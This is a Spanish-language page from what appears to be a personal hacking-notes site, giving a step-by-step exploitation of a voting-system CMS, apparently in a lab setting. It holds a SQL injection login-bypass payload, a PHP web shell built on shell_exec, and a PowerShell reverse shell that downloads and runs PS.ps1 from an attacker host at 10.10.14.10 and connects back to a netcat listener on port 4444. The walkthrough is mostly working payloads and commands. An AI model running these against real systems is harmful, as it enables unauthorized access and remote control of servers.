> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/voting-system-cms-exploitation.md).
# Sistema de votación
## **Vulnerabilidad de inyección SQL (SQLi)**
Utilice `searchsploit` para buscar vulnerabilidades del sistema de votación e identificar el siguiente payload:
`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -`
Usa Burp Suite para acceder al panel de control.
## Vulnerabilidad de subida de archivos:
Una vez en el panel de control, crea un nuevo usuario y sube `cmd.php` para ejecutar comandos en el servidor:
```bash
" . shell_exec($_REQUEST['cmd']) . "";
?>
```
El panel no aplica comprobaciones de seguridad, lo que permite la inyección de comandos como `whoami`. Prueba la conectividad con un comando ping:
Comprueba si el objetivo puede enviar un ping.
ping 10.10.14.10
tcpdump -i tun0 icmp
Recibir una respuesta confirma la ejecución de comandos en el objetivo.
**Ejecución de comandos PowerShell para una reverse shell**
Una vez confirmada la ejecución de comandos, aloja el `PS.ps1` script en la máquina del atacante.
{% embed url="" %}
Añade la siguiente línea al final del script:
```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444
```
Host `PS.ps1` con un servidor web:
```bash
python3 -m http.server 80
```
Luego modifica el comando para que apunte al servidor web del atacante:
{% code overflow="wrap" %}
```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')"
```
{% endcode %}
Por último, inicia un listener en el puerto 4444:
```bash
rlwrap nc -nlvp 4444
```
---
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